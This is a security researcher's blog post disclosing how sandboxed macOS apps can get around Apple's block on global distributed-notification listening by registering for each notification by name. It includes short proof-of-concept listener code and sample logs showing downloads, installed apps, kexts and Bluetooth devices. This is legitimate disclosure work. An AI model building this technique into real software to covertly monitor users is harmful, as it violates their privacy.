Our research, tools, and writing, are supported by “Friends of Objective-See”
Today’s blog post is brought to you by:
In this short blog post, we’ll detail a trivially exploitable privacy issue that despite Apple’s (rather feeble) attempts to prevent, allows sandboxed applications to surreptitiously spy on unsuspecting users - even on the latest version of macOS!
Note:
This issue was originally disclosed (by yours truly) at Objective-See’s Mac Security Conference: “Objective by the Sea”. This blog post dives more deeply into the technical details of the flaw.
Slides from the talk: “Protecting the Garden of Eden”
From a security and privacy point of view, sandboxes are an excellent idea. In short, within the constraints of a properly designed and implemented sandbox, an application is largely limited in a variety of ways. For example, amongst other constraints, it cannot arbitrarily access user files (i.e. your pictures or downloads), capture keystrokes, or subvert the OS. Hooray!
Of course, any sandbox implementation will have its flaws, allowing malicious applications to either “escape” the sandbox completely, or while still in the sandbox, bypass some specific sandbox constraint. In this post, we’re dealing with the latter, specifically side-stepping Apple’s sandbox constraints on “distributed notifications” in order to gain valuable insight into the environment outside the sandbox and monitor (some) private user and OS activities.
OSX/macOS allows applications or system components to broadcast notifications “across task boundaries.” Aptly termed “distributed notifications” such events are broadcast by means of the DistributedNotificationCenter
class. Described in the distributed notification class documentation, Apple states this class is a “notification dispatch mechanism that enables the broadcast of notifications across task boundaries.“
More specifically:
“A
DistributedNotificationCenter
instance broadcastsNSNotification
objects to objects in other tasks that have registered for the notification with their task’s default distributed notification center.“
As we’ll shortly see, at any given time a myriad of (interesting) notifications are globally broadcast by apps, programs, and system daemons. Tapping into this steam, by registering a global distributed notification listener reveals a lot about the “goings on” of the system, as well as what the user is up to!
To globally register to receive all distributed notification, simply invoke the CFNotificationCenterAddObserver
function (shown below) with 'nil'
for the 'name'
parameter. The callback specified will be invoked anytime a distributed notification is broadcast by anyone.
Here in code, we register a global distributed notification listener (note: the name
parameter is nil
, to specify we want to listen for all notifications):
//callback
// invoked anytime anybody broadcasts a notification
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf,
const void *object, CFDictionaryRef userInfo)
{
NSLog(@"event: %@", (__bridge NSString*)name_cf);
NSLog(@"user info: %@", userInfo);
NSLog(@"object: %@", (__bridge id)object);
return;
}
int main(int argc, const char * argv[])
{
//register for distributed notifications
// note: as name is nil, this means "all"
CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil, callback,
nil, nil, CFNotificationSuspensionBehaviorDeliverImmediately);
[[NSRunLoop currentRunLoop] run];
return 0;
}
Note:
One can also globally register to receive all distributed notifications via a NSDistributedNotificationCenter method:
- (void)addObserver:(id)observer
selector:(SEL)selector
name:(NSNotificationName)name
object:(NSString *)object
suspensionBehavior:(NSNotificationSuspensionBehavior)suspensionBehavior;
If we compile and execute the following code, we can begin observing a variety of system events, such as screen locks/unlocks, screen saver start/stop, bluetooth activity, network activity, and user file downloads:
$ ./sniffsniff 2018-11-19 20:54:08.244963-1000 sniffsniff[50098:11034854] event: com.apple.screenIsLocked 2018-11-19 20:54:08.244994-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:08.245039-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:54:11.150683-1000 sniffsniff[50098:11034854] event: com.apple.screenIsUnlocked 2018-11-19 20:54:11.150727-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:54:11.150751-1000 sniffsniff[50098:11034854] object: 501 2018-11-19 20:55:00.033848-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didlaunch 2018-11-19 20:55:00.033882-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:00.033898-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:00.414571-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstart 2018-11-19 20:55:00.414663-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.744793-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.willstop 2018-11-19 20:55:02.744831-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:02.744843-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:02.760187-1000 sniffsniff[50098:11034854] event: com.apple.screensaver.didstop 2018-11-19 20:55:02.760292-1000 sniffsniff[50098:11034854] user info: { runFromPref = 0; } 2018-11-19 20:55:02.760312-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:55:15.733963-1000 sniffsniff[50098:11034854] event: IOBluetoothDeviceDisableScan 2018-11-19 20:55:15.733993-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:55:15.734011-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 20:56:15.720241-1000 sniffsniff[50098:11034854] event: com.apple.CFNetwork.CookiesChanged.2e3972d12eadbbbef05326fe6f5f0c3e1c05bdcc 2018-11-19 20:56:15.720292-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 20:56:15.720307-1000 sniffsniff[50098:11034854] object: (null) 2018-11-19 21:01:12.870597-1000 sniffsniff[50098:11034854] event: com.apple.DownloadFileFinished 2018-11-19 21:01:12.870626-1000 sniffsniff[50098:11034854] user info: (null) 2018-11-19 21:01:12.870641-1000 sniffsniff[50098:11034854] object: /Users/patrick/Downloads/LuLu_1.1.2.zip
Note:
The value of the ‘CFDictionaryRef userInfo’ and ‘const void *object’ parameters is dependent on the notification. For example for the ‘com.apple.DownloadFileFinished’ notification, the ‘object’ parameter contains the name of the file that was downloaded.
By design, no special permissions are needed to register such a global listener - and this is all well and good. However, in the context of sandbox, obviously such notifications should not be delivered (to a global listener originating the sandbox) as this would, at least from a privacy point of view, clearly violate the foundational concept of sandbox isolation.
Apple clearly (and correctly), realized that from a privacy (and also possibly a security) point of view, a sandboxed application should not be able globally capture distributed notification. As such, if a sandboxed application attempts to globally register for distributed notifications, the OS sandbox will rather sternly block this action:
$ ./sniffsniff 2018-11-19 21:21:41.202420-1000 sniffsniff[50388:11098618] *** attempt to register for all distributed notifications thwarted by sandboxing. Date/Time: Mon Nov 19 21:21:41 2018 OS Version: 18B75 Application: sniffsniff Backtrace: 0 CoreFoundation 0x00007fff3c082c46 __CFGenerateReport + 197 1 CoreFoundation 0x00007fff3c015f43 __CFXNotificationRegisterObserver + 1035 2 CoreFoundation 0x00007fff3bef1af2 _CFXNotificationRegisterObserver + 14 3 Foundation 0x00007fff3e28845a -[NSDistributedNotificationCenter addObserver:selector:name:object:suspensionBehavior:] + 233 4 Foundation 0x00007fff3e28836b -[NSDistributedNotificationCenter addObserver:selector:name:object:] + 29 5 sniffsniff 0x000000010000125e -[AppDelegate applicationDidFinishLaunching:] + 142
Ok so Apple’s macOS sandbox clearly seeks to prevent malicious applications (running in the sandbox) from globally sniffing distributed notifications: *** attempt to register for all distributed notifications thwarted by sandboxing
All is good?
Unfortunately, not at all! Contrary to Apple’s pontifications, it seems security at Cupertino is often approached rather lackadaisically. In other words, it’s often not really thought through. Their attempts to block the receiving of distributed notifications (globally) from within the sandbox, is a perfect example of this…
A fully patched Mojave box (and likely those running any other versions of macOS) fails to adequately prevent sandboxed applications from receiving (possibly sensitive) distributed notifications. Though Apple prevents such an application from registering to receive distributed notifications globally, (passing in 'nil'
for the 'name'
parameter), there is nothing preventing a sandboxed application from registration to receive any notification by name (e.g. com.apple.DownloadFileFinished
). Thus, a malicious application can trivially circumvent Apple’s (weak) sandboxing attempts, by simply registering any (and all?) distributed notifications directly by name. Though this takes a few extra lines of code, the affect is that any application can cumulatively register to receive (capture) all distributed notifications - even within the sandbox! 🤦
Let’s look at an example. Say a malicious application wants to monitor user downloads. When executed in the context of the macOS sandbox, normally this is something that would be strictly prohibited - and rightly so! By definition, a sandbox seeks to provide an isolated environment, protecting both the user’s security and privacy.
However, by registering to receive the com.apple.DownloadFileFinished
distributed notification by name, the (sandboxed) application can still surreptitiously monitor all files the user downloads:
First, let’s be sure to sandbox our malicious application (sniffsniff
):
Then, write some code to listen for the com.apple.DownloadFileFinished
distributed notification:
static void callback(CFNotificationCenterRef center, void *observer, CFStringRef name_cf, const void *object, CFDictionaryRef userInfo)
{
NSLog(@"event: %@", (__bridge NSString*)name_cf);
NSLog(@"user info: %@", userInfo);
NSLog(@"object: %@", (__bridge id)object);
return;
}
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {
NSString* name = @"com.apple.DownloadFileFinished";
CFNotificationCenterAddObserver(CFNotificationCenterGetDistributedCenter(), nil,
callback, (CFStringRef)name, nil, CFNotificationSuspensionBehaviorDeliverImmediately);
}
Running sniffsniff
from within the macOS sandbox, even on a fully patched Mojave box, rather surprisingly allows us to surreptitiously monitor the user’s downloads:
./sniffsniff 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] event: com.apple.DownloadFileFinished 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] user info: (null) 2018-11-22 12:50:38.175 sniffsniff[93641:15431613] object: /Users/user/Downloads/thePeeTapes.mov
Note:
The ‘com.apple.DownloadFileFinished’ distributed notification appears to only be broadcast for files downloaded from a user’s browser. However, this includes those downloaded in incognito mode!
As we must register for each notification by name (in order to circumvent the sandbox protections), a valid question is how to determine the names of notification of interest (i.e. 'com.apple.DownloadFileFinished'
, etc.)
Thought there may be a more comprehensive solution, I choose to simply install a global listener for all distributed notifications (of course this had to be done outside the sandbox), then simply observe what notification names. Returning to the sandbox, we can then register for any notifications of interest (by name!).
Thought we could utilize the code mentioned earlier in this post, I instead made use of the powerful monitor capabilities of Digita Security’s (soon to be released) MonitorKit
.
As this framework contains a monitor to globally observe distributed notifications, in a few lines of code we can activate said monitor and begin to receive the names of all broadcast distributed notifications:
import Cocoa
import MonitorKit
@NSApplicationMain
class AppDelegate: NSObject, NSApplicationDelegate {
func applicationDidFinishLaunching(_ aNotification: Notification) {
//call into MonitorKit
// enable 'distributed notifications' monitor
let monitor = DistributedNotifcationsMonitor()
monitor.start() { event in
print("event: ", event.name.rawValue)
if let userInfo = event.userInfo {
print("event info: ", userInfo)
}
if let object = event.object {
print("event object: ", object)
}
}
}
}
Note:
OMG Swift code!? …I know 😅
Executing this code reveals some interesting distributed notifications (that a malicious sandboxed application could register to observe):
Newly Installed Applications:
com.apple.LaunchServices.applicationRegistered
event info: [AnyHashable("bundleIDs"): <__NSArrayM 0x600000c57bd0>( com.objective-see.KnockKnock)
Opened Source Code Files:
com.apple.dt.Xcode.notification.IDEEditorCoordinatorDistributedDidCompleteNotification
event info: [AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.fileURL"): /Users/patrick/Documents/GitHub/DoNotDisturb/launchDaemon/launchDaemon/Lid.m, AnyHashable("com.apple.dt.Xcode.editorCoordinatorCompletion.reporterClass"): _IDEOpenRequest]
Applications in Use
com.apple.sharedfilelist.change
event info: [AnyHashable("originatorAuditToken"):] event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.ichat event info: [AnyHashable("originatorAuditToken"): ] event object: com.apple.LSSharedFileList.ApplicationRecentDocuments/com.apple.textedit
Loaded Kernel Extensions:
Loaded Kext Notification
KextArrayKey = ( "com.apple.message.bundleID" = "com.objective-see.lulu"; "com.apple.message.kextname" = "LuLu.kext"; "com.apple.message.kextpath" = "/Library/Extensions/LuLu.kext"; "com.apple.message.signaturetype" = "3rd-party kext with devid+ certificate";)
Download Files:
com.apple.DownloadFileFinished
event object: /Users/patrick/Downloads/LuLu_1.1.2.zip
HID Devices:
com.apple.MultitouchSupport.HID.DeviceAdded
event info: [AnyHashable("Device ID"): 288230377351874764, AnyHashable("Surface Width mm"): 130, AnyHashable("Device Type"): Trackpad, AnyHashable("SupportsActuation"): 0, AnyHashable("Built-in"): 0, AnyHashable("SupportsForce"): 0, AnyHashable("Surface Height mm"): 110, AnyHashable("Opaque"): 1]
Bluetooth Devices:
com.apple.bluetooth.status
event info: [AnyHashable("A2DP_CONNECTED_DEVICES"): 1, AnyHashable("PAGEABLE"): 2, AnyHashable("POWER_STATE"): 1, AnyHashable("ADDRESS"): 8c-85-90-14-95-11, AnyHashable("ESTIMATED_BANDWIDTH_UTILIZATION"): 65, AnyHashable("ACL_CONNECTION_COUNT"): 2, AnyHashable("HARDWARE_NAME"): 15, AnyHashable("CONNECTED_DEVICES"): <__NSArrayM 0x600000c0bf60>( { ADDRESS = "60-c5-47-89-08-cc"; NAME = "Apple Trackpad"; "PRODUCT_ID" = 782; "SNIFF_ATTEMPTS" = 2; "VENDOR_ID" = 1452; }, { ADDRESS = "04-52-c7-77-0d-4e"; NAME = "Bose QuietComfort 35"; "PRODUCT_ID" = 16396; "SNIFF_ATTEMPTS" = 1; "VENDOR_ID" = 158; }, { ADDRESS = "34-88-5d-6b-5b-49"; NAME = "Logitech K811"; "PRODUCT_ID" = 45847; "SNIFF_ATTEMPTS" = 1; "VENDOR_ID" = 1133; })
Volume (USB, etc) unmounts:
com.apple.unmountassistant.process.start
event info: [AnyHashable("VolumeURL"): file:///Volumes/TSSCI_USB/, AnyHashable("VolumeRefNum"): -108]
Note:
This list of distributed notification names, is not comprehensive!
…there are others to be ‘uncovered’ ;)
The macOS sandbox is explicitly designed to prevent sandboxed applications from gaining insight into private user and system actions. Apple clearly realized that global distributed notification listeners could thwart such design goals and thus attempted to prevent them:
*** attempt to register for all distributed notifications thwarted by sandboxing.
Unfortunately, (as often is the case), their attempts weren’t really thought thru, and thus are trivial to circumvent. By simply registering for notifications by name, sandboxed applications can cumulatively register to receive (capture) all distributed notifications. This allows them to violate a core sandbox principle and undermine users’ privacy by performing actions such as: tracking the install of new applications, monitoring various files & applications in use, tracking loaded kexts, observing user downloads, and more!
Thought (IMHO), this issue don’t constitute a security vulnerability per se, it clearly violates the design goals of the macOS sandbox and thus is something that Cupertino will surely attempt to fix…again 🙄